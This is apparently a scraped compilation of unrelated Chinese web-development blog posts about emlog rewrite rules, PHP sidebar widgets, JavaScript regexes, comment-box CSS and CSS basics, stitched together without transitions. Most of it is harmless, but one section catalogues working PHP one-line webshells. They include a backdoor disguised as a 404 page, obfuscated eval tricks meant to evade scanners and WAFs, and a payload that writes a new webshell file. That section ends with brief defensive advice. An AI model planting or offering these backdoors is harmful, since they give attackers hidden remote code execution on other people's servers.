今天刚把emlog装好，听朋友说的，这个博客系统简单好用，还能生成伪静态呢。装好了才发现，设置伪静态后，好像链接打不开，Mrxn在网上搜索了下方法，千万篇网页里就找到一个能用的，下面把方法写给大家，希望能帮助你们。

   
首先，你要弄清楚你的主机空间是windows系统呢，还是unix系统。因为国内大多数空间商都用的是win主机，所以咱们就着重说这个吧，把下面复制
下来保存在记事本里面，然后把名字改成httpd.ini。传到空间根目录试试，一般来说，都能直接访问了，如果还不行，说明你没有权限，那只好联系你的
空间商了。

伪静态代码：（保存文件名字为httpd.ini，传到网站根目录【要注意的是此文件要放在空间的根目录下面】）

<pre style="overflow:auto" ;class="prettyprint lang-xml linenums">[ISAPI_Rewrite]

3600 = 1 hour

CacheClockRate 3600
RepeatLimit 32
RewriteRule /rss.php(.) /rss.php$1 [L]
RewriteRule /tb.php(.) /tb.php$1 [L]
RewriteRule /favicon.ico /favicon.ico [L]
RewriteRule /xmlrpc.php(.) /xmlrpc.php$1 [L]
RewriteRule /wlwmanifest.xml /wlwmanifest.xml [L]
RewriteRule /(t|m)$ /$1/ [R]
RewriteRule /(admin|content|include|t|m)/(.) /$1/$2 [L]
RewriteRule /install.php(.) /install.php$1 [L]
RewriteRule /emlog_toolkit.php(.) /emlog_toolkit.php$1 [L]
RewriteRule /up(\d.\d.\d)to(\d.\d.\d).php(.) /up$1to$2.php$3 [L]
RewriteRule ^/$ /index.php [L]
RewriteRule /(.) /index.php/$1 [L]

今天在群里有人想实现侧边栏最新文章获取图片，自己折腾了一阵子，成功解决了这个问题。为了以后再用得着，所以在这儿保存记录。当然除了调出图片，还可以调用当前分类、摘要等，具体看如下代码：首页在module.php中找到最新文章那段代码，直接用以下代码替换即可：

<?php //widget：最新文章 function widget_newlog($title){ $index_newlognum = Option::get('index_newlognum');?> <div class="cbl-one"><div class="title"><p><?php echo $title;?></p></div> <?php $db = MySql::getInstance(); $sql = $db->query ("SELECT * FROM ".DB_PREFIX."blog inner join ".DB_PREFIX."sort WHERE hide='n' AND type='blog' AND top='n' AND sortid=sid order by date DESC limit 0,$index_newlognum"); while($row = $db->fetch_array($sql)){ $logpost = !empty($row['excerpt']) ? $row['excerpt'] : ''.$row['content'].''; if (!empty($row['excerpt'])){preg_match_all("/\<img.*?src\=\"(.*?)\"[^>]*>/i", $row['excerpt'], $match); if(empty($match[1][0])) { preg_match_all("/\<img.*?src\=\"(.*?)\"[^>]*>/i",$row['content'],$match);}}else{preg_match_all("/\<img.*?src\=\"(.*?)\"[^>]*>/i", $row['content'],$match);} $img = isset($match[0][0]) ? $match[0][0]:'<img src="图片地址" />';//无图片时显示 $date = gmdate('Y年m月d日', $row['date']); $content = strip_tags($logpost,''); $content = mb_substr($content,0,100,'utf-8');//摘要字数修改本代码中的100这个即可 $comment = ($row['comnum'] != 0) ? ''.$row['comnum'].'' : '0'; $gid = $row['gid']; $tag = $db -> query("SELECT * FROM ".DB_PREFIX."tag WHERE gid LIKE '%,$gid,%'");?> <a href="<?php echo Url::sort($row['sid']);?>" title="<?php echo $row['sortname'];?>" /><?php echo $row['sortname'];?></a><br /> <a href="<?php echo Url::log($row['gid']);?>" title="<?php echo $row['title'];?>" /><?php echo $row['title'];?></a><br /> <?php echo $img;?><br /> <?php echo $content;?> <?php };?></div><?php }?>

随便附带上热门文章的代码 30天内按点击量排序：

<?php //widget：热门文章 function widget_hotlog($title){ $index_hotlognum = Option::get('index_hotlognum');?> <div class="cbl-one"><div class="title"><p><?php echo $title;?></p></div> <?php $db = MySql::getInstance();$db = MySql::getInstance(); $time = time(); $sql = $db->query ("SELECT * FROM ".DB_PREFIX."blog inner join ".DB_PREFIX."sort WHERE hide='n' AND type='blog' AND date > $time - 30*24*60*60 AND top='n' AND sortid=sid order by `views` DESC limit 0,$index_hotlognum"); while($row = $db->fetch_array($sql)){ $logpost = !empty($row['excerpt']) ? $row['excerpt'] :''.$row['content'].''; if (!empty($row['excerpt'])){preg_match_all("/\<img.*?src\=\"(.*?)\"[^>]*>/i",$row['excerpt'],$match);if(empty($match[1][0])){ preg_match_all("/\<img.*?src\=\"(.*?)\"[^>]*>/i",$row['content'],$match);}}else{preg_match_all("/\<img.*?src\=\"(.*?)\"[^>]*>/i", $row['content'],$match);} $img = isset($match[0][0]) ? $match[0][0]:'<img src="图片地址" />';//无图片时显示 $date = gmdate('Y年m月d日', $row['date']); $content = strip_tags($logpost,''); $content = mb_substr($content,0,100,'utf-8');//摘要字数修改本代码中的100这个即可 $comment = ($row['comnum'] != 0) ? ''.$row['comnum'].'' : '0'; $gid = $row['gid'];?> <li><a href="<?php echo Url::log($row['gid']);?>" title="<?php echo $row['title'];?>" /><?php echo $row['title'];?></a></li> <?php };?></div><?php }?>

代码说明：(css本人就不折腾了，自己捣鼓吧，如果你这个也不会的话，就不要折腾了)
所属分类链接：<?php echo Url::sort($row['sid']);?>
所属分类标题：<?php echo $row['sortname'];?>
文章链接：<?php echo Url::log($row['gid']);?>
文章标题：<?php echo $row['title'];?>
当前第一张图片：<?php echo $img;?>
当前文章摘要：<?php echo $content;?>
当前评论：<?php echo $row['comnum'];?>
当前浏览量：<?php echo $row['views'];?>
当前时间：<?php echo gmdate('Y年m月d日', $row['date']);?>
本栏目标题(侧边栏)：<?php echo $title;?>

我们使用emlog插入代码的时候们应该遇见过这种情况:

即,代码超出边框的地方显示不全,这样,读者要是想要复制,代码也不方便,只能通过审查元素/源代码来复制了.

我也苦恼这个问题,但是一直没有时间,今晚刚好有时间,就来折腾,百度了一下,没有搜到.....于是就开始了自己的折腾.....

最终实现了:

我是通过Firebug 来查看元素的时候发现的:

我就想在<pre class="prettyprint lang-php linenums"> 里面加个css样式来实现auto显示超出部分呢?我直接用Firebug修改后,发现可以,于是就开始编辑器核心文件操作了,本地测试通过.

下面说一下具体的操作步骤:

首先打开admin/editor/plugins/code/ 目录下的code.js

在第49行左右,找到如下代码:

<pre style="overflow:auto" ;class="prettyprint lang-php linenums">html = '<pre class="prettyprint' + cls + ' linenums">\n' + K.escape(code) + '</pre> ';
  修改为如下代码:

<pre style="overflow:auto" ;class="prettyprint lang-php linenums">html = '<pre style="overflow:auto";class="prettyprint' + cls + ' linenums">\n' + K.escape(code) + '</pre> ';

  即可实现auto显示超出部分的代码了 .但是这个修改只是在你修改了code.js之后的文章中插入的代码才有效果,之前的文章想要实现,就只能手动重新插入一遍代码了,当然,如果你有更好的方法,欢迎留言交流.

ps:后面准备给emlog的kindeditor编辑器加入复制/粘贴/折叠代码功能,请关注博客.

效果如我博客的友情链接(小菜们请看,大牛绕道):

具体方法:

打开module.php找到//widget：链接 下面的如下代码处:

<?php foreach($link_cache as $value): ?>

  修改为如下代码:

<?php foreach($link_cache as $value): $color = dechex(rand(0,16777215));?>

  接着找到如下的代码:

<a href="<?php echo $value['url']; ?>" 

  修改为如下代码:

<a style="color:#<?php echo $color;?>;border-style:dotted  ;border-color: #ccf;" href="<?php echo $value['url']; ?>"

  即加上style="color:#<?php echo $color;?>;border-style:dotted  ;border-color: #ccf;"

里面的border的相应的属性,可以自己根据自己的喜好设置,不知道的可以查阅css手册.

JS常用的正则表达式大全

"^\d+$"　　//非负整数（正整数 + 0）

"^[0-9]*[1-9][0-9]*$"　　//正整数

"^((-\d+)|(0+))$"　　//非正整数（负整数 + 0）

"^-[0-9]*[1-9][0-9]*$"　　//负整数

"^-?\d+$"　　　　//整数

"^\d+(\.\d+)?$"　　//非负浮点数（正浮点数 + 0）

"^(([0-9]+\.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*\.[0-9]+)|([0-9]*[1-9][0-9]*))$"　　//正浮点数

"^((-\d+(\.\d+)?)|(0+(\.0+)?))$"　　//非正浮点数（负浮点数 + 0）

"^(-(([0-9]+\.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*\.[0-9]+)|([0-9]*[1-9][0-9]*)))$"　　//负浮点数

"^(-?\d+)(\.\d+)?$"　　//浮点数

"^[A-Za-z]+$"　　//由26个英文字母组成的字符串

"^[A-Z]+$"　　//由26个英文字母的大写组成的字符串

"^[a-z]+$"　　//由26个英文字母的小写组成的字符串

"^[A-Za-z0-9]+$"　　//由数字和26个英文字母组成的字符串

"^\w+$"　　//由数字、26个英文字母或者下划线组成的字符串

"^[\w-]+(\.[\w-]+)*@[\w-]+(\.[\w-]+)+$"　　　　//email地址

"^[a-zA-z]+://(\w+(-\w+)*)(\.(\w+(-\w+)*))*(\?\S*)?$"

java script验证表单时常用：

"^-[0-9]*[1-9][0-9]*$"　　//负整数

"^-?\\d+$"　　　　//整数

"^\\d+(\\.\\d+)?$"　　//非负浮点数（正浮点数 + 0）

"^(([0-9]+\\.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*\\.[0-9]+)|([0-9]*[1-9][0-9]*))$"　　//正浮点数

"^((-\\d+(\\.\\d+)?)|(0+(\\.0+)?))$"　　//非正浮点数（负浮点数 + 0）

"^(-(([0-9]+\\.[0-9]*[1-9][0-9]*)|([0-9]*[1-9][0-9]*\\.[0-9]+)|([0-9]*[1-9][0-9]*)))$"　　//负浮点数

"^(-?\\d+)(\\.\\d+)?$"　　//浮点数

"^[A-Za-z]+$"　　//由26个英文字母组成的字符串

"^[A-Z]+$"　　//由26个英文字母的大写组成的字符串

"^[a-z]+$"　　//由26个英文字母的小写组成的字符串

"^[A-Za-z0-9]+$"　　//由数字和26个英文字母组成的字符串

"^\\w+$"　　//由数字、26个英文字母或者下划线组成的字符串

"^[\\w-]+(\\.[\\w-]+)*@[\\w-]+(\\.[\\w-]+)+$"　　　　//email地址

"^[a-zA-z]+://(\\w+(-\\w+)*)(\\.(\\w+(-\\w+)*))*(\\?\\S*)?$"　　//url

应用实例

用户名：
/^[a-zA-Z]{1}([a-zA-Z0-9]|[_]){4,19}$/

无符号字符串：
/^[^\s]{1}[^-_\~!@#\$%\^&\*\.\(\)\[\]\{\}<>\?\\\/\'\"]*$/

Email：
/^\w+([-+.]\w+)*@\w+([-.]\\w+)*\.\w+([-.]\w+)*$/

电话号码：
/^((\(\d{3}\))|(\d{3}\-))?(\(0\d{2,3}\)|0\d{2,3}-)?[1-9]\d{6,7}$/

手机号码：
/^((\(\d{3}\))|(\d{3}\-))?13\d{9}$/

URL：
/^http:\/\/[A-Za-z0-9]+\.[A-Za-z0-9]+[\/=\?%\-&_~`@[\]\':+!]*([^<>\"\"])*$/

身份证：
/^\d{15}(\d{2}[A-Za-z0-9])?$/

货币：
/^\d+(\.\d+)?$/

数字：
/^\d+$/

邮政编码：
/^[1-9]\d{5}$/

QQ：
/^[1-9]\d{4,8}$/

整数：
/^[-\+]?\d+$/

实数：
/^[-\+]?\d+(\.\d+)?$/

英文：
/^[A-Za-z]+$/

中文
/^[\u0391-\uFFE5]+$/

密码（必须含有大写字母、小写字母、标点、数字中的至少两种。呵呵，这个比较变态吧～）
/^(([A-Z]*|[a-z]*|\d*|[-_\~!@#\$%\^&\*\.\(\)\[\]\{\}<>\?\\\/\'\"]*)|.{0,5})$|\s/

利用正则表达式限制网页表单里的文本框输入内容：

用正则表达式限制只能输入中文：onkeyup="value="/value.replace(/["^\u4E00-\u9FA5]/g,’’)" onbeforepaste="clipboardData.setData(’text’,clipboardData.getData(’text’).replace(/[^\u4E00-\u9FA5]/g,’’))"

用正则表达式限制只能输入全角字符： onkeyup="value="/value.replace(/["^\uFF00-\uFFFF]/g,’’)" onbeforepaste="clipboardData.setData(’text’,clipboardData.getData(’text’).replace(/[^\uFF00-\uFFFF]/g,’’))"

用正则表达式限制只能输入数字：onkeyup="value="/value.replace(/["^\d]/g,’’) "onbeforepaste="clipboardData.setData(’text’,clipboardData.getData(’text’).replace(/[^\d]/g,’’))"

用正则表达式限制只能输入数字和英文：onkeyup="value="/value.replace(/[\W]/g,"’’) "onbeforepaste="clipboardData.setData(’text’,clipboardData.getData(’text’).replace(/[^\d]/g,’’))"

<script language="java script">

//去左空格;
function ltrim(s){
return s.replace( /^\\s*/, "");
}
//去右空格;
function rtrim(s){
return s.replace( /\\s*$/, "");
}
//去左右空格;
function trim(s){
return rtrim(ltrim(s));
}
//是否为空值;
function IsEmpty(_str){
var tmp_str = trim(_str);
return tmp_str.length == 0;
}
//是否有效的Email;
function IsMail(_str){
var tmp_str = trim(_str);
var pattern = /^[_a-z0-9-]+(.[_a-z0-9-]+)*@[a-z0-9-]+(.[a-z0-9-]+)*$/;
return pattern.test(tmp_str);
}
//是否有效的数字;
function IsNumber(_str){
var tmp_str = trim(_str);
var pattern = /^[0-9]/;
return pattern.test(tmp_str);
}
//是否有效的颜色值;
function IsColor(color){
var temp=color;
if (temp=="") return true;
if (temp.length!=7) return false;
return (temp.search(/\\#[a-fA-F0-9]{6}/) != -1);
}
//是否有效的链接;
function IsURL(url){
var sTemp;
var b=true;
sTemp=url.substring(0,7);
sTemp=sTemp.toUpperCase();
if ((sTemp!="http://") target="_blank" ... #124;|(url.length<10)){
b=false;
}
return b;
}
//是否有效的手机号码;
function IsMobile(_str){
var tmp_str = trim(_str);
var pattern = /13\\d{9}/;
return pattern.test(tmp_str);
}

</script>

正则表达式用于字符串处理、表单验证等场合，实用高效。现将一些常用的表达式收集于此，以备不时之需。

匹配中文字符的正则表达式： [u4e00-u9fa5]
评注：匹配中文还真是个头疼的事，有了这个表达式就好办了

匹配双字节字符(包括汉字在内)：[^x00-xff]
评注：可以用来计算字符串的长度（一个双字节字符长度计2，ASCII字符计1）

匹配空白行的正则表达式： s*
评注：可以用来删除空白行

匹配HTML标记的正则表达式：<(S*?)[^>]*>.*?</1>|<.*? />
评注：网上流传的版本太糟糕，上面这个也仅仅能匹配部分，对于复杂的嵌套标记依旧无能为力

匹配首尾空白字符的正则表达式：^s*|s*$
评注：可以用来删除行首行尾的空白字符(包括空格、制表符、换页符等等)，非常有用的表达式

匹配Email地址的正则表达式：w+([-+.]w+)*@w+([-.]w+)*.w+([-.]w+)*
评注：表单验证时很实用

匹配网址URL的正则表达式：[a-zA-z]+://[^s]*
评注：网上流传的版本功能很有限，上面这个基本可以满足需求

匹配帐号是否合法(字母开头，允许5-16字节，允许字母数字下划线)：^[a-zA-Z][a-zA-Z0-9_]{4,15}$
评注：表单验证时很实用

匹配国内电话号码：d{3}-d{8}|d{4}-d{7}
评注：匹配形式如 0511-4405222 或 021-87888822

匹配腾讯QQ号：[1-9][0-9]{4,}
评注：腾讯QQ号从10000开始

匹配中国邮政编码：[1-9]d{5}(?!d)
评注：中国邮政编码为6位数字

匹配身份证：d{15}|d{18}
评注：中国的身份证为15位或18位

匹配ip地址：d+.d+.d+.d+
评注：提取ip地址时有用

匹配特定数字：
^[1-9]d*$　 　 //匹配正整数
^-[1-9]d*$ 　 //匹配负整数
^-?[1-9]d*$　　 //匹配整数
^[1-9]d*|0$　 //匹配非负整数（正整数 + 0）
^-[1-9]d*|0$　　 //匹配非正整数（负整数 + 0）
^[1-9]d*.d*|0.d*[1-9]d*$　　 //匹配正浮点数
^-([1-9]d*.d*|0.d*[1-9]d*)$　 //匹配负浮点数
^-?([1-9]d*.d*|0.d*[1-9]d*|0?.0+|0)$　 //匹配浮点数
^[1-9]d*.d*|0.d*[1-9]d*|0?.0+|0$　　 //匹配非负浮点数（正浮点数 + 0）
^(-([1-9]d*.d*|0.d*[1-9]d*))|0?.0+|0$　　//匹配非正浮点数（负浮点数 + 0）
评注：处理大量数据时有用，具体应用时注意修正

匹配特定字符串：
^[A-Za-z]+$　　//匹配由26个英文字母组成的字符串
^[A-Z]+$　　//匹配由26个英文字母的大写组成的字符串
^[a-z]+$　　//匹配由26个英文字母的小写组成的字符串
^[A-Za-z0-9]+$　　//匹配由数字和26个英文字母组成的字符串
^w+$　　//匹配由数字、26个英文字母或者下划线组成的字符串

JavaScript获取网页高度宽度

    JavaScript获取网页高度宽度 

function getScrollTop()
 {
 var scrollTop=0;
 if(document.documentElement&&document.documentElement.scrollTop)
 {
 scrollTop=document.documentElement.scrollTop;
 }
 else if(document.body)
 {
 scrollTop=document.body.scrollTop;
 }
 return scrollTop;
 }

 /********************
 * 取窗口可视范围的高度 
*******************/
function getClientHeight()
 {
 var clientHeight=0;
 if(document.body.clientHeight&&document.documentElement.clientHeight)
 {
 var clientHeight = (document.body.clientHeight<document.documentElement.clientHeight)?docum
 ent.body.clientHeight:document.documentElement.clientHeight; 
}
 else
 {
 var clientHeight = (document.body.clientHeight>document.documentElement.clientHeight)?docum
 ent.body.clientHeight:document.documentElement.clientHeight; 
}
 return clientHeight;
 }

 /********************
 * 取文档内容实际高度 
*******************/
function getScrollHeight()
 {
 return Math.max(document.body.scrollHeight,document.documentElement.scrollHeight);
 }

#

# 前言
多说是一款社会化评论系统，她改变了网站与用户之间，用户与用户之间的互动方式。当然Disqus在大家心目中可能更加具有影响力，而我选择多说的原因也 很简单，一句话概括来说就是“接地气的本地化评论托管服务”。之前看到很多朋友自豪的使用WordPress时会选择多说作为第三方评论插件，民间的高手 们也根据官方的API开发出一些十分有趣的隐藏属性。因为现在自己使用GitHub+Hexo搭建的静态Blog，也希望通过多说自定义CSS和多说评论 显示User Agent让评论动感起来，文章记录了自己所执行的真实步骤，扩展阅读和原文中也会标注参考链接和注意点，embed.default.css和 embed.js文件托管在GitHub上，欢迎大家分享自己的经验，我们一起完善这些简单而有趣的小功能。

>感谢多说团队和那些无私的开发者们

---

## 更新历史

2015年04月24日 - 初稿

阅读原文 - http://wsgzao.github.io/post/duoshuo/

扩展阅读

- duoshuo-mod - https://github.com/wsgzao/duoshuo-mod
- 出色的自定义效果展示 - http://dev.duoshuo.com/docs/4ff1cfd0397309552c000017
- HelloDog Index - http://wsgzao.github.io/index/#Hexo

---

## 多说自定义CSS

>主要参考@V说，他的文章中还分享了额外9种特效，满足大家Duang的欲望哈

多说自定义CSS 让你的多说评论动感起来 - http://www.vsay.cn/one-more-custom-css-lets-you-say-comments-city.html

### 头像水平翻转

``` css
/*Head Start*/
#ds-thread #ds-reset ul.ds-comments-tabs li.ds-tab a.ds-current {
    border: 0px;
    color: #6D6D6B;
    text-shadow: none;
    background: #F3F3F3;
}

#ds-thread #ds-reset .ds-highlight {
    font-family: Microsoft YaHei, "Helvetica Neue", Helvetica, Arial, Sans-serif;
    ;font-size: 100%;
    color: #6D6D6B !important;
}

#ds-thread #ds-reset ul.ds-comments-tabs li.ds-tab a.ds-current:hover {
    color: #696a52;
    background: #F2F2F2;
}

#ds-thread #ds-reset a.ds-highlight:hover {
    color: #696a52 !important;
}

#ds-thread {
    padding-left: 30px;
}

#ds-thread #ds-reset li.ds-post,#ds-thread #ds-reset #ds-hot-posts {
    overflow: visible;
}

#ds-thread #ds-reset .ds-post-self {
    padding: 10px 0 10px 10px;
}

#ds-thread #ds-reset li.ds-post,#ds-thread #ds-reset .ds-post-self {
    border: 0 !important;
}

#ds-reset .ds-avatar, #ds-thread #ds-reset ul.ds-children .ds-avatar {
    top: 15px;
    left: -20px;
    padding: 5px;
    width: 36px;
    height: 36px;
    box-shadow: -1px 0 1px rgba(0,0,0,.15) inset;
    border-radius: 46px;
    background: #FAFAFA;
}

#ds-thread .ds-avatar a {
    display: inline-block;
    padding: 1px;
    width: 32px;
    height: 32px;
    border: 1px solid #b9baa6;
    border-radius: 50%;
    background-color: #fff !important;
}

#ds-thread .ds-avatar a:hover {
}

#ds-thread .ds-avatar > img {
    margin: 2px 0 0 2px;
}

#ds-thread #ds-reset .ds-replybox {
    box-shadow: none;
}

#ds-thread #ds-reset ul.ds-children .ds-replybox.ds-inline-replybox a.ds-avatar,
#ds-reset .ds-replybox.ds-inline-replybox a.ds-avatar {
    left: 0;
    top: 0;
    padding: 0;
    width: 32px !important;
    height: 32px !important;
    background: none;
    box-shadow: none;
}

#ds-reset .ds-replybox.ds-inline-replybox a.ds-avatar img {
    width: 32px !important;
    height: 32px !important;
    border-radius: 50%;
}

#ds-reset .ds-replybox a.ds-avatar,
#ds-reset .ds-replybox .ds-avatar img {
    padding: 0;
    width: 50px !important;
    height: 50px !important;
    border-radius: 5px;
}

#ds-reset .ds-avatar img {
    width: 32px !important;
    height: 32px !important;
    border-radius: 32px;
    box-shadow: 0 1px 3px rgba(0, 0, 0, 0.22);
    -webkit-transition: .8s all ease-in-out;
    -moz-transition: .4s all ease-in-out;
    -o-transition: .4s all ease-in-out;
    -ms-transition: .4s all ease-in-out;
    transition: .4s all ease-in-out;
}

.ds-post-self:hover .ds-avatar img {
    -webkit-transform: rotateX(360deg);
    -moz-transform: rotate(360deg);
    -o-transform: rotate(360deg);
    -ms-transform: rotate(360deg);
    transform: rotate(360deg);
}

#ds-thread #ds-reset .ds-comment-body {
    -webkit-transition-delay: initial;
    -webkit-transition-duration: 0.4s;
    -webkit-transition-property: all;
    -webkit-transition-timing-function: initial;
    background: #F7F7F7;
    padding: 15px 15px 15px 47px;
    border-radius: 5px;
    box-shadow: #B8B9B9 0 1px 3px;
    border: white 1px solid;
}

#ds-thread #ds-reset ul.ds-children .ds-comment-body {
    padding-left: 15px;
}

#ds-thread #ds-reset .ds-comment-body p {
    color: #787968;
}

#ds-thread #ds-reset .ds-comments {
    border-bottom: 0px;
}

#ds-thread #ds-reset .ds-powered-by {
    display: none;
}

#ds-thread #ds-reset .ds-comments a.ds-user-name {
    font-weight: normal;
    color: #3D3D3D !important;
}

#ds-thread #ds-reset .ds-comments a.ds-user-name:hover {
    color: #D32 !important;
}

#ds-thread #ds-reset #ds-bubble {
    display: none !important;
}

#ds-thread #ds-reset #ds-hot-posts {
    border: 0;
}

#ds-reset #ds-hot-posts .ds-gradient-bg {
    background: none;
}

#ds-thread #ds-reset .ds-comment-body:hover {
    background-color: #F1F1F1;
    -webkit-transition-delay: initial;
    -webkit-transition-duration: 0.4s;
    -webkit-transition-property: all;
    -webkit-transition-timing-function: initial;
}
/*Head End*/
```

### 多说后台自定义CSS

>设置步骤超级简单，登录多说后台->设置->基本设置->自定义CSS

![](

我们以一个学习的心态来对待这些PHP后门程序，很多PHP后门代码让我们看到程序员们是多么的用心良苦。

强悍的PHP一句话后门

这类后门让网站、服务器管理员很是头疼，经常要换着方法进行各种检测，而很多新出现的编写技术，用普通的检测方法是没法发现并处理的。今天我们细数一些有意思的PHP一句话木马。

利用404页面隐藏PHP小马：

    <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>

404页面是网站常用的文件，一般建议好后很少有人会去对它进行检查修改，这时我们可以利用这一点进行隐藏后门。

无特征隐藏PHP一句话：

    <?php
session_start();
$_POST['code'] && $_SESSION['theCode'] = trim($_POST['code']);
$_SESSION['theCode']&&preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'(base64_decode($_SESSION[\'theCode\']))','a');
?>

将$_POST['code']的内容赋值给$_SESSION['theCode']，然后执行$_SESSION['theCode']，亮点是没有特征码。用扫描工具来检查代码的话，是不会报警的，达到目的了。

超级隐蔽的PHP后门：

    <?php $_GET[a]($_GET[b]);?>

仅用GET函数就构成了木马；

利用方法：

    ?a=assert&b=${fputs%28fopen%28base64_decode%28Yy5waHA%29,w%29,base64_decode%28PD9waHAgQGV2YWwoJF9QT1NUW2NdKTsgPz4x%29%29}; 

执行后当前目录生成c.php一句话木马，当传参a为eval时会报错木马生成失败，为assert时同样报错，但会生成木马，真可谓不可小视，简简单单的一句话，被延伸到这般应用。

层级请求，编码运行PHP后门：
此方法用两个文件实现，文件1

    <?php
//1.php
header('Content-type:text/html;charset=utf-8');
parse_str($_SERVER['HTTP_REFERER'], $a);
if(reset($a) == '10'&& count($a) == 9) {
eval(base64_decode(str_replace(" ", "+", implode(array_slice($a, 6)))));
}
?>

文件2

    <?php
//2.php
header('Content-type:text/html;charset=utf-8');
//要执行的代码
$code= <<<CODE
phpinfo();
CODE;
//进行base64编码
$code= base64_encode($code);
//构造referer字符串
$referer= "a=10&b=ab&c=34&d=re&e=32&f=km&g={$code}&h=&i=";
//后门url
$url= 'http://localhost/test1/1.php';
$ch= curl_init();
$options= array(
CURLOPT_URL => $url,
CURLOPT_HEADER => FALSE,
CURLOPT_RETURNTRANSFER => TRUE,
CURLOPT_REFERER => $referer
);
curl_setopt_array($ch, $options);
echocurl_exec($ch);
?>

通过HTTP请求中的HTTP_REFERER来运行经过base64编码的代码，来达到后门的效果，一般waf对referer这些检测要松一点，或者没有检测。用这个思路bypass waf不错。

PHP后门生成工具weevely

weevely是一款针对PHP的webshell的自由软件，可用于模拟一个类 似于telnet的连接shell，weevely通常用于web程序的漏洞利用，隐藏后门或者使用类似telnet的方式来代替web 页面式的管理，weevely生成的服务器端php代码是经过了base64编码的，所以可以骗过主流的杀毒软件和IDS，上传服务器端代码后通常可以通 过weevely直接运行。

weevely所生成的PHP后门所使用的方法是现在比较主流的base64加密 结合字符串变形技术，后门中所使用的函数均是常用的字符串处理函数，被作为检查规则的eval，system等函数都不会直接出现在代码中，从而可以致使 后门文件绕过后门查找工具的检查。使用暗组的Web后门查杀工具进行扫描，结果显示该文件无任何威胁。

以上是大概介绍，相关使用方法亦家就不在这介绍了，简单的科普一下。

三个变形的一句话PHP木马
第一个

    <?php ($_=@$_GET[2]).@$_($_POST[1])?>

在菜刀里写http://site/1.php?2=assert密码是1

第二个

    <?php
$_="";
$_[+""]='';
$_="$_"."";
$_=($_[+""]|"").($_[+""]|"").($_[+""]^"");
?>
<?php ${'_'.$_}['_'](${'_'.$_}['__']);?>

在菜刀里写http://site/2.php?_=assert&__=eval($_POST['pass']) 密码是pass。如果你用菜刀的附加数据的话更隐蔽，或者用其它注射工具也可以，因为是post提交的。

第三个

    ($b4dboy= $_POST['b4dboy']) && @preg_replace('/ad/e','@'.str_rot13('riny').'($b4dboy)', 'add');

str_rot13(‘riny’)即编码后的eval，完全避开了关键字，又不失效果，让人吐血！

最后列几个高级的PHP一句话木马后门：

    1、
$hh= "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$hh("/[discuz]/e",$_POST['h'],"Access");
//菜刀一句话
2、
$filename=$_GET['xbid'];
include($filename);
//危险的include函数，直接编译任何文件为php格式运行
3、
$reg="c"."o"."p"."y";
$reg($_FILES[MyFile][tmp_name],$_FILES[MyFile][name]);
//重命名任何文件
4、
$gzid= "p"."r"."e"."g"."_"."r"."e"."p"."l"."a"."c"."e";
$gzid("/[discuz]/e",$_POST['h'],"Access");
//菜刀一句话
5、include($uid);
//危险的include函数，直接编译任何文件为php格式运行，POST www.xxx.com/index.php?uid=/home/www/bbs/image.gif
//gif插一句话
6、典型一句话
程序后门代码
<?php eval_r($_POST[sb])?>
程序代码
<?php @eval_r($_POST[sb])?>
//容错代码
程序代码
<?php assert($_POST[sb]);?>
//使用lanker一句话客户端的专家模式执行相关的php语句
程序代码
<?$_POST['sa']($_POST['sb']);?>
程序代码
<?$_POST['sa']($_POST['sb'],$_POST['sc'])?>
程序代码
<?php
@preg_replace("/[email]/e",$_POST['h'],"error");
?>
//使用这个后,使用菜刀一句话客户端在配置连接的时候在"配置"一栏输入
程序代码
<O>h=@eval_r($_POST1);</O>
程序代码
<script language="php">@eval_r($_POST[sb])</script>
//绕过<?限制的一句话

综上，这些PHP一句话后门可谓五脏俱全，一不小心您肯定中招了，而我们今天这篇文章的重中之重在哪呢？重点就在下边的总结!

如何应对PHP一句话后门：

我们强调几个关键点，看这文章的你相信不是门外汉，我也就不啰嗦了：

    1，对PHP程序编写要有安全意识2，服务器日志文件要经常看，经常备份3，对每个站点进行严格的权限分配4，对动态文件及目录经常批量安全审查5，学会如何进行手工杀毒《即行为判断查杀》6，时刻关注，或渗入活跃的网络安全营地7，对服务器环境层级化处理，哪怕一个函数也可做规则 

我们认为当管理的站点多了，数据量大时，我们应合理应用一些辅助工具，但不应完全依赖这些工具，技术是时刻在更新进步的，最为重要的是你应学会和理解，编写这些强悍后门的人所处思维，角色上的换位可为你带来更大的进步。

一：CSS的工作原理

1.基本的CSS语法

比方说，我们要用红色作为网页的背景色：

用HTML的话，我们可以这样：

<body bgcolor="#FF0000">

用CSS的话，我们可以这样获得同样的效果：

body {background-color: #FF0000;}

上例也向你展示了基本的CSS模型：

为HTML文档应用CSS，有三种方法可供选择。下面对这三种方法进行了概括。我们建议你对第三种方法（即外部样式表）予以关注。

方法1：行内样式表（style属性）

为HTML应用CSS的一种方法是使用HTML属性style。我们在上例的基础之上，通过行内样式表将页面背景设为红色：

<body style="background-color: #FF0000;">

方法2：内部样式表（style元素）

为HTML应用CSS的另一种方法是采用HTML元素style。比如像这样：

<style type="text/css">

body {background-color: #FF0000;}

</style>

方法3：外部样式表（引用一个样式表文件）

我们推荐采用这种引用外部样式表的方法。外部样式表就是一个扩展名为css的文本文件。跟其他文件一样，你可以把样式表文件放在Web服务器上或者本地硬盘上。

导入语法：

<link rel="stylesheet" type="text/css" href="style/style.css" />

注意要在href属性里给出样式表文件的地址。

这行代码必须被插入HTML代码的头部（header），即放在标签<head>和标签</head>之间。就像这样：

<html>

<head>

<title>我的文档</title>

<link rel="stylesheet" type="text/css" href="style/style.css" />

</head>

<body>

...

这个链接告诉浏览器：在显示该HTML文件时，应使用给出的CSS文件进行布局。
这种方法的优越之处在于：多个HTML文档可以同时引用一个样式表。换句话说，可以用一个CSS文件来控制多个HTML文档的布局。

这一方法可以令你省去许多工作。例如，假设你要修改某网站的所有网页（比方说有100个网页）的背景颜色，采用外部样式表可以避免你手工一一修改这100个HTML文档的工作。采用外部样式表，这样的修改只需几秒钟即可搞定——修改外部样式表文件里的代码即可。

